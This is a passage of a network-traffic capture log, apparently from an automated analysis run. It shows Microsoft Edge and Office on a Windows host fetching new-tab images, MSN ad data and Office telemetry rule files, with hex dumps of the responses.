2024-11-22 13:44:01 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:01 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134401Z-174c587ffdfb485jhC1TEBmc1s00000001eg00000000010b Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:01 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49921	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:01 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:01 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:01 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9ae6ccbc-a01e-002e-3d59-3ce8c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134401Z-178bfbc474b9fdhphC1NYCac0n00000002vg00000000kup3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:44:01 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49923	18.164.116.57	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:01 UTC	1012	OUT	GET /b2?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=168118f0a71cbdc6f50c0b91732283040; XID=168118f0a71cbdc6f50c0b91732283040
2024-11-22 13:44:02 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 22 Nov 2024 13:44:02 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b260b0d4d2162fe305bab4403f7e668c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: _X35oNQzlEtYMCMXj9vakEBCOURm4QId4Rp5_xVpNf_IFG9Ub397PQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134402Z-15b8b599d882l6clhC1TEBxd5c00000001gg000000001n5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:02 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: fde4123d-901e-00a0-613d-3c6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134402Z-178bfbc474btrnf9hC1NYCb80g000000038g000000004sxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134402Z-178bfbc474bpnd5vhC1NYC4vr4000000034g000000001fe0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:03 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134403Z-178bfbc474bfw4gbhC1NYCunf40000000350000000000b7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49928	23.101.168.44	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0AFE249FEBCF639338DA31A0EAE662C3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ceb9aaf3e2134eb1c1fa00634c616455 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
2024-11-22 13:44:03 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2713 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132847-T700343875-C128000000002115449+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115449+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 13:44:02 GMT Connection: close
2024-11-22 13:44:03 UTC	2713	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4b 6f 20 50 68 61 20 4e 67 61 6e 2c 20 54 68 61 69 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 25 32 42 4b 6f 2b 50 68 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Ko Pha Ngan, Thailand\",\"cta\":\"https:\/\/www.bing.com\/search?q=%2BKo+Pha

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:02 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:03 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:03 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134403Z-174c587ffdftv9hphC1TEBm29w00000001d000000000dmw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:44:03 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49931	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:04 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:05 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=288947 Expires: Mon, 25 Nov 2024 21:59:51 GMT Date: Fri, 22 Nov 2024 13:44:04 GMT Connection: close
2024-11-22 13:44:05 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-22 13:44:05 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
